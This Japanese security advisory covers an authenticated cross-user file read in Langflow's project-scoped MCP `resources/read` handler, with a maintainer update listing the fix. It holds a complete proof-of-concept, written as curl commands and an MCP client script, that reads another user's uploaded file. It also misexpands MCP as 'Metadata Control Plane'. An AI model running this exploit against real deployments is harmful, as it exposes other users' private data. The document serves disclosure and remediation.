Langflowにおける、認証されたプロジェクト間ファイル公開の脆弱性(Unscoped MCP Resource Handlersによる)

### 概要
Langflowのプロジェクト範囲のMCP(Metadata Control Plane)は、接続URL内の`project_id`に基づいて呼び出し元を認証しますが、その後の`resources/read`操作では、要求されているリソースURIの認証が行われません。認証されたユーザーは、自身のプロジェクト範囲のMCPエンドポイントに接続し、別のユーザーのファイルを参照するファイルダウンロードURIを偽装して送信することができます。サーバーは、所有権やプロジェクトメンバーシップを確認することなく、そのファイルを読み込み、返却します。

これは、ユーザーAからユーザーBへの認証バイパスであり、他のユーザーのフローネームスペースに保存されているファイルへの任意の読み取りアクセスを許可します。

### 詳細
ローカルチェックアウトで確認済み:

- リポジトリ:`langflow-ai/langflow`
- 確認されたリリースバージョン:`v1.8.3`
- コミット:`08bf98404cfd7737fde57a2588785766cdf1b42e`
- 脆弱なコードが含まれる可能性がある最も古い安定版:`v1.6.8`

関連するコードパス:

1. `src/backend/base/langflow/api/v1/mcp_projects.py:147-193`
`verify_project_auth_conditional()`は、呼び出し元を認証し、MCPトランスポートURL内の`project_id`へのアクセスのみをチェックします。

2. `src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241`
プロジェクト範囲のMCPサーバーは、`read_resource()`を登録し、攻撃者が制御するURIを直接`handle_read_resource(uri=uri)`に転送します。

3. `src/backend/base/langflow/api/v1/mcp_utils.py:163-182`
`handle_read_resource()`は、URIの最後の2つのパスセグメントを`flow_id`と`filename`として解析し、直接以下の関数を呼び出します。

```python
storage_service.get_file(flow_id=flow_id, file_name=filename)
```

提供された`flow_id`が、認証されたユーザーまたは現在のプロジェクトに関連付けられているかどうかのチェックは行われていません。

4. `src/backend/base/langflow/services/storage/local.py:141-149`
`src/backend/base/langflow/services/storage/s3.py:200-217`
ストレージレイヤーは、生のネームスペースの読み込みを実行し、認証に関する考慮事項はありません。

その結果、認証はMCP接続時に適用されますが、リソースの読み込み時には適用されません。攻撃者が、自身が所有するプロジェクト範囲のMCPエンドポイントへのアクセスを確立すると、被害者の制御下にあるURIを送信することで、他のユーザーのファイルにアクセスできるようになります。

この問題は、グローバルなMCPヘルパーがクロスユーザーの情報を公開しているため、悪用が容易です。

- `src/backend/base/langflow/api/v1/mcp_utils.py:102-121`
`handle_list_resources(project_id=None)` は、すべてのフローのファイル一覧を表示します。
- `src/backend/base/langflow/api/v1/mcp_utils.py:333-380`
`handle_list_tools(project_id=None)` は、すべてのフローをクエリし、フローIDをツールのメタデータに含めます。

このグローバルな列挙は、悪用には必須ではありませんが、被害者の識別情報を取得するのを容易にします。

### 実証コード
前提条件:

- Langflowが認証機能を有効にしてローカルで実行されている。
- 同じインスタンス上に、2つの異なるユーザーが存在する。
- 被害者は、アップロードされたファイルを持つフローを持っている。
- 攻撃者は、自身が所有するプロジェクトへのアクセス権を持っている。

以下のコマンドでLangflowを起動し、ローカルでこの問題を検証します。

```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'

set -a
source .env.verify
set +a

export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify"

uv run python - <<'PY'
from langflow.main import setup_app
import uvicorn

app = setup_app(backend_only=True)
uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug")
PY
```

次に、別のターミナルで、以下のスクリプトを実行すると、被害者のユーザー、攻撃者のユーザー、被害者のフローに関連付けられたファイルが作成され、以下のことが示されます。

- 通常のファイルダウンロードは、攻撃者に対してブロックされます(404エラー)。
- 同じファイルは、攻撃者のプロジェクト範囲のMCP接続を通じて読み取ることができます。

```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow'
set -euo pipefail

export BASE='http://127.0.0.1:7860'
export PASS='Passw0rd!Passw0rd!'
export VICTIM_USER="victim.$RANDOM@example.com"
export ATTACKER_USER="attacker.$RANDOM@example.com"
```

curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null

curl -sS -X POST "$BASE/api/v1/users/" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null

export VICTIM_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$VICTIM_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)

export ATTACKER_TOKEN=$(
curl -sS -X POST "$BASE/api/v1/login" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode "username=$ATTACKER_USER" \
--data-urlencode "password=$PASS" | jq -r '.access_token'
)

export VICTIM_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"victim-project"}' | jq -r '.id'
)

export ATTACKER_PROJECT_ID=$(
curl -sS -X POST "$BASE/api/v1/projects/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-project"}' | jq -r '.id'
)

export VICTIM_FLOW_ID=$(
curl -sS -X POST "$BASE/api/v1/flows/" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \
| jq -r '.id'
)

printf 'cross-project-read-proof\n' > /tmp/secret.txt

export UPLOAD_JSON=$(
curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \
-H "Authorization: Bearer $VICTIM_TOKEN" \
-F "file=@/tmp/secret.txt"
)

export VICTIM_FILE=$(
printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last'
)

export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE"

```
export ATTACKER_API_KEY=$(
curl -sS -X POST "$BASE/api/v1/api_key/" \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"attacker-mcp-key"}' | jq -r '.api_key'
)

export DIRECT_STATUS=$(
curl -sS -o /dev/null -w '%{http_code}' \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
"$VICTIM_URI"
)

export MCP_READ_OUTPUT=$(
uv run python - <<'PY'
import asyncio
import base64
import os

import httpx
from mcp import ClientSession
from mcp.client.streamable_http import streamable_http_client

base = os.environ["BASE"]
project_id = os.environ["ATTACKER_PROJECT_ID"]
api_key = os.environ["ATTACKER_API_KEY"]
victim_uri = os.environ["VICTIM_URI"]
url = f"{base}/api/v1/mcp/project/{project_id}/streamable"

async def main():
async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client:
async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _):
async with ClientSession(read_stream, write_stream) as session:
await session.initialize()
result = await session.read_resource(victim_uri)
blob = result.contents[0].blob
print(base64.b64decode(base64.b64decode(blob)).decode().strip())

asyncio.run(main())
PY
)

echo "Direct /files/download as attacker -> $DIRECT_STATUS"
echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"
```

期待される出力:

```text
Direct /files/download as attacker -> 404
Project-scoped MCP resources/read -> cross-project-read-proof
```

検証中に確認されたサーバーログ:

```text
GET /api/v1/files/download/... 404 Not Found
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted
POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK
```

### 影響
これは、MCPレイヤーにおける認証されたIDOR(不適切なアクセス権限による情報漏洩)/任意のファイル読み込みの脆弱性です。
```

認証されたLangflowユーザーで、少なくとも1つのプロジェクト範囲のMCPエンドポイントにアクセスできるユーザーは、`resources/read`に被害者のファイルURIを提供することで、他のユーザーが所有するファイルを読むことができます。

具体的な影響としては、以下のものが考えられます。

- アップロードされたドキュメント、CSVファイル、JSONファイル、プロンプト、およびその他のフローに関連するデータの、ユーザー間の漏洩
- フローのネームスペースに保存されている機密ビジネスデータへの不正アクセス
- グローバルなMCPヘルパーが他のユーザーのフローIDやファイル名を公開することで、攻撃が容易になる

### 提案される対策
1. ストレージを呼び出す前に、認証されたコンテキストに対して`resources/read`のアクセスを許可します。
`flow_id`をデータベースオブジェクトに解決し、以下の両方を満たすようにします。
`flow.user_id == current_user.id`
および、プロジェクト範囲のトランスポートの場合、`flow.folder_id == current_project_id`。

2. 任意のファイルダウンロードURIをリソース識別子として信頼するのをやめます。
代わりに、`resources/list`からサーバーが生成した不透明なリソースIDを返し、サーバー側で既に許可されているオブジェクトに解決します。

3. グローバルなMCP列挙ヘルパーを認証されたユーザーに限定します。
`handle_list_resources()`および`handle_list_tools()`は、`project_id=None`の場合、すべてのフローをクエリに含めるべきではありません。代わりに、現在のユーザーが所有するフローのみを返すか、より広範な検索にはより高い権限を要求する必要があります。

### 修正状況 (メンテナーによる状況更新 — 2026年9月22日)

このレポートは正確です。上記で説明されている脆弱なコードパス(`handle_read_resource()`における所有権チェックの欠落)は、すでに修正されています。

**修正された影響を受けるバージョン範囲:** `>= 1.6.8, <= 1.9.0` (「<= 1.8.3」ではありません。`v1.9.0`まで脆弱性が確認されており、修正は`v1.9.1`のリリースで実装されました。それ以降ではありません)。

**修正点:** `v1.9.1` (GitHubで公開: 2026年4月24日)、プルリクエスト
[#12818 — "fix(mcp): パストラバーサルとクロスユーザー情報漏洩の修正 (PVR0754098)"](https://github.com/langflow-ai/langflow/pull/12818)。
- `release-1.9.1`へのバックポート: `f0fd436fe9829192ee550e6cb46961a01dd37032`
- `main`への対応コミット: `b8fe970493fd5fb2e1fc71dfccc79f90b76058fa`

修正内容:
- `handle_read_resource()`関数は、認証されたユーザーコンテキストを必要とし、URIのネームスペースセグメントを`Flow.user_id == current_user.id`でスコープされた`Flow`レコードに解決します。さらに、プロジェクトスコープのMCPサーバーでは、`Flow.folder_id == project_id`でフィルタリングを行います (`src/backend/base/langflow/api/v1/mcp_utils.py`)。
- パストレーバーサルに対する防御策として、ファイル名に`..`, `/`, または`\`が含まれている場合、それらのファイル名を拒否します。また、ストレージレイヤーの`get_file`/`get_file_stream`/`delete_file`/`get_file_size`関数(`local.py`/`s3.py`、`langflow`と`lfx`の両方)にも同様の制限を適用します。
- `handle_list_resources()` / `handle_list_tools()`関数は、グローバル(プロジェクト非スコープ)のMCPサーバーにおいて、`current_user.id`でスコープされ、このレポートで指摘されたクロスユーザーの列挙を防止します。

`langflow-ai/langflow` @ `89444c3bb5` (release-1.11.0ブランチ、2026年9月22日現在)で独立して検証済み。修正が含まれており、回帰テストスイート (`src/backend/tests/unit/api/v1/test_mcp_utils.py`, 21/21が成功) には、`test_handle_read_resource_denies_other_users_flow`が含まれており、これはこのレポートで指摘されたクロスユーザーのシナリオを再現し、現在では`ValueError("...アクセス拒否")`が発生することを確認しています。

影響を受けるパッケージ:
- pip (Python) langflow: 影響を受けるバージョン >= 1.6.8、<= 1.9.0、修正されたバージョン 1.9.1